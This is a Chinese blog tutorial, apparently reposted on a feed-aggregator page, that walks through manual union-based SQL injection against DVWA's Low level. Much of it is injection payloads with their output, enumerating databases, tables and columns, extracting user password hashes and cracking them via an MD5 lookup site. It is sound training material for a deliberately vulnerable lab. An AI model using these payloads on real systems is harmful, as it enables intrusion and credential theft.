惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
博客园_首页
H
Hackread – Cybersecurity News, Data Breaches, AI and More
T
ThreatConnect
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - 聂微东
H
Help Net Security
T
Threat Research - Cisco Blogs
Blog — PlanetScale
Blog — PlanetScale
A
Arctic Wolf
G
Google Developers Blog
量子位
U
Unit 42
I
InfoQ
V
V2EX
F
Fox-IT International blog
P
Privacy & Cybersecurity Law Blog
V
Visual Studio Blog
J
Java Code Geeks
大猫的无限游戏
大猫的无限游戏
C
CERT Recently Published Vulnerability Notes
博客园 - 三生石上(FineUI控件)
T
The Exploit Database - CXSecurity.com
T
Tailwind CSS Blog
SecWiki News
SecWiki News
Know Your Adversary
Know Your Adversary
MyScale Blog
MyScale Blog
宝玉的分享
宝玉的分享
The Hacker News
The Hacker News
Project Zero
Project Zero
Application and Cybersecurity Blog
Application and Cybersecurity Blog
月光博客
月光博客
Recent Commits to openclaw:main
Recent Commits to openclaw:main
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
G
GRAHAM CLULEY
C
Cisco Blogs
I
Intezer
Simon Willison's Weblog
Simon Willison's Weblog
O
OpenAI News
Recorded Future
Recorded Future
T
Tenable Blog
W
WeLiveSecurity
腾讯CDC
Stack Overflow Blog
Stack Overflow Blog
T
The Blog of Author Tim Ferriss
www.infosecurity-magazine.com
www.infosecurity-magazine.com
D
Docker
C
Cybersecurity and Infrastructure Security Agency CISA
PCI Perspectives
PCI Perspectives

技术改变视野

为程序员、设计师打造的摸鱼社区:摸鱼派! - 技术改变视野 我在 GitHub 上的开源项目 - 技术改变视野 为IDEA/Git配置GPG密钥,点亮GitHub Verified Commit标识 - 技术改变视野 从 SpringMVC 转为使用 SpringBoot —— 手把手带你使用 Intellij IDEA 最快速地搭建 SpringBoot+MyBatis(无 XML)+Thymeleaf - 技术改变视野 无题 - 技术改变视野 年轻人的第一辆京牌电动车 - 技术改变视野 我们忙碌且漫长的一生,有多久是为自己而活? 说说《后浪》 - 技术改变视野 离线使用 Google Fonts:让你的网站更精致 | goofoffline 神器,一键下载生成离线字体库! 🎨 适用于 Solo / Bolo 的清新高级主题 —— Sakura | 移植自 WordPress 主题 - 技术改变视野 大白话之Java级联调用:一个类,一条语句,同时调用好几个方法,串成一串 - 技术改变视野 大白话 | Java初学指♂男:“说说初学的误区与死结”( 壹 | 反射与Field ) - 技术改变视野 一个实例理解Java的接口(interface)用处与用法 一个实例带你理解JavaBean WebFilter-SpringBoot过滤器注解实例讲解 实例带你搞懂Java多线程&&线程池之(壹):线程池与多线程的关系和区别 实例带你搞懂Java多线程&&线程池之(贰):简单的线程池应用 实例带你获取多线程Thread的返回值之 (壹) - Callable的运行 实例带你学会简单的Java Thread多线程 实例带你获取多线程Thread的返回值之 (贰) - Callable配合线程池返回数据 一个实例理解Java Runnable多线程用处与用法 一个最简单的实例理解Semaphore在Java中的作用 从零开始OpenSSL之 (壹) - 使用genrsa、rsa、rsautl生成公私钥 从零开始 OpenSSL 之 (贰) - 使用 rsautl 解密文件 大白话之Docker(壹):快速入门&&简单官方实例 大白话之耦合性:什么是耦合性和内聚性?用编程语言实例讲解! 大白话之Docker(贰):简单部署一个Tomcat服务并发布内容 大白话之从零讲解DVWA(贰)-SQL注入(SQL Injection) Medium/High Level Java日志插件-Slog4J下载 大白话之必会Java Atomic | 线程一点也不安全(一):比自增和synchronized更快速、靠谱的原子操作(调用C语言) Log-MySQL root用户登录后无法查看数据库全部表/正常访问数据库 Access denied for user 'root'@'localhost' to database 大白话之Docker(叁):制作一个运行Tomcat服务端的Docker镜像 Github仅保留指定文件/文件夹当前Commit,删除所有历史记录,清除「敏感信息」 将Tomcat、MySQL从Linux迁移到Windows的心路历程(干货):令人恐惧的字符编码 Spring: java.lang.NoSuchMethodError: clearCache | ClassNotFoundException | Error during artifact deployment 思路及解决办法 大白话之Java反射-初学最迷的概念:能干啥?咋用? 大白话之Java面向接口编程:最“正经”的中文实例讲解,看不懂来打我! 大白话 | 课堂实践:使用Iterator对数组进行遍历 大白话之fail-fast | fail-safe:为什么会有这个机制?它有什么作用? 刨根问底 | 大白话:在使用注解后,框架是怎么知道你哪个方法使用了注解的?用@RequestMapping注解举例详解! 大白话之必会Java Atomic | 线程一点也不安全(二):Atomic的ABA问题会导致什么情况?如何解决? 随笔 | 奇淫技巧 | Java:记return和短路运算符的妙用 随笔 | Tomcat:续-从Linux迁移到Windows编码问题彻底解决 大白话之AutoClosable接口 | try-with-resources:JDK1.7的新特性,提高重复回收效率 大白话之Java多线程join方法:开局一张图,试学一分钟,你就费和我一样,理解介个方法 大白话之Java Stream流:将类数组流化,便捷批量修改,通俗讲解! Java 困扰三周の问题:使用byte[]或skip()方法读取字节流Stream文件尾部多/少/缺字节解决方法
大白话之从零讲解DVWA(壹)-SQL注入(SQL Injection) Low Level - 技术改变视野
adlered · 2019-12-09 · via 技术改变视野

前言

在阅读此文章前,你需要先理解以下知识:

  • PHP基本知识(数据库连接、基本语法)
  • SQL注入的基本原理
  • MySQL:order by 排序
  • MySQL:union的作用和用法
  • MySQL:group_concat的作用和用法
  • MySQL:通过information_schema读取数据库信息
  • MySQL:使用--#注释语句
  • MD5的基本实现原理

SQLMap是一款自动SQL注入的工具,但有时它并不足够灵活。手工注入能帮助我们深入了解Web渗透的灵魂,本章我们使用DVWA进行手工SQL注入的模拟测试。

SQL注入

搭建DVWA

此步骤我们不多说,如果你不想在本地搭建虚拟机和DVWA,可以到下面这个公共站点:

http://43.247.91.228:81

用户名:admin
密码:password

设置级别

点击左侧DVWA Security,在右侧你可以看到三个选项:

Low 低级
Medium 中级
High 高级

image.png

调整等级,就可以调整难度。

低级

选择SQL Injection,我们可以看到一个输入框:

image.png

是的,你在输入框中输入用户ID,就能返回用户的信息。

测试列

在输入框中输入:

11' order by 3 #

#用于将后面的语句全部注释,将语句末尾控制在我们的手里,防止出现意外语法错误。

你会获得返回结果:

1Unknown column '3' in 'order clause'

这是因为我们使用order方法将第三列排序,然而并没有第三列

更换语句:

11' order by 2 # 

此时你会发现结果被成功返回了:

1ID: 1' order by 2 # 
2First name: admin
3Surname: admin

这说明该数据表有2列,所以如果我们要使用union进行联合查询的时候,也要查询2列。输入语句:

11' union select 1,2 # 

你会得到返回结果:

1ID: 1' union select 1,2 #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,2 #   
6First name: 1  
7Surname: 2

这说明第一列会被显示为First name,第二列会被显示为Surname

组建语句

目前已知可渗透条件

  1. 语句执行方法:1' [SQL语句] #
  2. 如要使用union联合查询,必须返回两列,否则将报错。

好的,那么我们需要先组建一条语句用于获取数据库信息。

获取全部数据库

1select group_concat(schema_name) from information_schema.schemata 

你可以搭建一个本地MySQL,并对本语句进行测试。

将注入语句与其拼接:

11' union select group_concat(schema_name) from information_schema.schemata # 

填写到输入框中,我们会得到返回结果:

1The used SELECT statements have a different number of columns

原因是由于我们使用union查询列数不同导致的。修改语句:

11' union select 1,group_concat(schema_name) from information_schema.schemata # 

这里添加的1,是直接选择的结果,将1定义为第一列的结果。得到如下返回结果:

1ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
6First name: 1  
7Surname: information_schema,dvwa,mysql,performance_schema

此时DVWA返回了MySQL中的全部数据库。

尝试删除group_concat()保留其括号中的列名,比对运行结果的不同。

获取当前所在数据库

如要查询DVWA正在使用哪个数据库,你可以组建语句:

11' union select 1,database() # 

得到返回结果:

1ID: 1' union select 1,database() #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,database() #   
6First name: 1  
7Surname: dvwa

此处的database()方法可以获取当前使用的数据库。

显示数据库中所有表

刚刚我们查询得知了DVWA正在使用的数据库名为dvwa。现在我们组建语句查询该数据库中所有表:

11' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

返回结果:

1ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
6First name: 1  
7Surname: guestbook,users

我们可以看到,当前数据库(dvwa)中有两个表:guestbookusers

获取表中列名

整理一下,现在我们的目标是:

  1. 数据库名:dvwa
  2. 表名:users
  3. 求:users表中的列名

组建语句:

11' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" # 

返回结果:

1ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
6First name: 1  
7Surname: user_id,first_name,last_name,user,password,avatar

现在我们得知,users表中的列为:user_idfirst_namelast_nameuserpasswordavatar

获取列中数据

最后一步,我们现在已知情况为:

  1. 数据库名:dvwa
  2. 表名:users
  3. 重要的列名:user、password

组建语句:

11' union select user,password from dvwa.users # 

返回结果:

 1ID: 1' union select user,password from dvwa.users #   
 2First name: admin  
 3Surname: admin
 4
 5ID: 1' union select user,password from dvwa.users #   
 6First name: admin  
 7Surname: 5f4dcc3b5aa765d61d8327deb882cf99
 8
 9ID: 1' union select user,password from dvwa.users #   
10First name: gordonb  
11Surname: e99a18c428cb38d5f260853678922e03
12
13ID: 1' union select user,password from dvwa.users #   
14First name: 1337  
15Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
16
17ID: 1' union select user,password from dvwa.users #   
18First name: pablo  
19Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
20
21ID: 1' union select user,password from dvwa.users #   
22First name: smithy  
23Surname: 5f4dcc3b5aa765d61d8327deb882cf99

可以看到我们成功返回了用户名和密码。但这个密码是加密的,你可能觉得比较眼熟,这么长大概率是用了md5加密

访问md5解密网站

这里推荐PMD5,在网站中输入MD5加密后的密码,我们就能得到真实密码:

image.png

后语

至此,我们完成了低等级的手工SQL注入。在第二章,我们将继续进行其它等级的注入测试。

点我跳转至第二章